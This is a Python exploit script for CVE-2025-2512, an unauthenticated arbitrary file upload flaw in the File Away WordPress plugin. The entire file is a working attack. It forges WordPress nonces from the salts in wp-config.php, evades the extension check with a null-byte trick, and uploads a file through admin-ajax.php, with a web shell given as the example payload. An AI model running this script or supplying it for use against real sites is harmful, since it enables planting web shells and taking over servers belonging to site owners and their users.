#!/usr/bin/env python3
# =============================================================================
# Author:       @whattheslime
# CVE:          CVE-2025-2512
# Date:         March 2023
# Product:      File Away (WordPress plugin)
# Title:        Unautenticated arbitrary file upload
# Vendor URL:   https://wordpress.org/plugins/file-away/
# Version:      <= 3.9.9.0.1
# -----------------------------------------------------------------------------
# Install:      python3 -m venv venv && venv/bin/pip install httpx
# Usage:        venv/bin/python3 file_upload.py -h
# =============================================================================
from argparse import ArgumentParser, Namespace
from pathlib import Path
from base64 import b64encode
from hashlib import md5
from hmac import HMAC
from httpx import Client
from math import ceil, floor
from pathlib import Path
from secrets import token_hex
from re import findall
from time import time
from urllib.parse import urljoin


AGENT = (
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 "
    "Firefox/120.0"
)

ERRO = "\033[1;31m[!]\033[0m"
INFO = "\033[1;34m[-]\033[0m"
SUCC = "\033[1;32m[+]\033[0m"


DAY_IN_SECONDS = 86400


def wp_nonce_tick(action: int = -1) -> int:
    """Returns the time-dependent variable for nonce creation."""
    return ceil(floor(time()) / (DAY_IN_SECONDS / 2))


def wp_hash(data: str) -> str:
    """Gets hash of given string."""
    salt = (nonce_key + nonce_salt).encode()

    return HMAC(salt, data.encode(), digestmod=md5).hexdigest()


def wp_create_nonce(action: int = -1, user_id: int = 0, token: str = "") -> str:
    """Creates a cryptographic token tied to a specific action, user,
    user session, and window of time."""
    i = str(wp_nonce_tick(action))
    return wp_hash("|".join((i, action, str(user_id), token)))[-12:][:10]


def upload(http: Client, target: str, webroot: Path, filepath: Path):
    ajax_url = urljoin(target, f"wp-admin/admin-ajax.php?t={token_hex(5)}")
    directory = "wp-content"

    file_size = filepath.stat().st_size

    file_name = filepath.name.replace(".php", ".\\0php")
    remote_file_path = (
        str(webroot / directory / file_name.replace("\\", "/"))
        .strip("/")
        .strip("\\")
    )

    nonce = wp_create_nonce("fileaway-nonce")
    upload_nonce = wp_create_nonce("fileaway-fileup-nonce")

    location = remote_file_path.encode()
    loc_action = "fileaway-location-nonce-" + b64encode(location).decode()

    loc_nonce = wp_create_nonce(loc_action)

    print(INFO, f"nonce:            {nonce}")
    print(INFO, f"upload_nonce:     {upload_nonce}")
    print(INFO, f"loc_nonce:        {loc_nonce}")

    data = {
        "action": "fileaway-manager",
        "act": "upload",
        "nonce": nonce,
        "upload_nonce": upload_nonce,
        "max_file_size": file_size,
        "loc_nonce": loc_nonce,
        "upload_path": directory,
        "extension": "jpeg",
        "new_name": file_name,
    }

    files = {"upload_file": ("test", open(filepath, "rb"))}

    response = http.post(ajax_url, data=data, files=files)

    if 'status":"success' in response.text:
        path = urljoin(target, directory + "/" + filepath.name)
        print(SUCC, f"File uploaded:    {path}")
    else:
        print(ERRO, f"Error during upload: {response.json()['message']}")


def parse_args() -> Namespace:
    parser = ArgumentParser()

    parser.add_argument(
        "-t", "--target", type=str, required=True, 
        help="target URL (e.g. http://127.0.0.1)"
    )
    parser.add_argument(
        "-c", "--config", type=Path, required=True, 
        help="wp-config.php local file path"
    )
    parser.add_argument(
        "-f", "--file", type=Path, required=True, 
        help="file path to upload (e.g. webshell.php)"
    )
    parser.add_argument(
        "-w", "--webroot", type=Path, default="/var/www/html", required=True, 
        help="target webroot (default: /var/www/html)"
    )
    parser.add_argument(
        "-x",
        "--proxy",
        type=str,
        help="Proxy URL (e.g. socks5h://127.0.0.1:2222)",
    )
    return parser.parse_args()


def main():
    """Program entry point."""
    args = parse_args()

    target = args.target
    webroot = args.webroot
    wp_config = args.config
    file_path = args.file
    proxy = args.proxy

    try:
        global nonce_key
        global nonce_salt
        nonce_key, nonce_salt = findall(
            r"NONCE_(?:KEY|SALT)', +'([^']+)", wp_config.read_text()
        )

        with Client(
            follow_redirects=False,
            headers={"User-Agent": AGENT},
            proxy=proxy,
            verify=False,
        ) as http:
            upload(http, target, webroot, file_path)
    except Exception as error:
        print(ERRO, error)


if __name__ == "__main__":
    main()
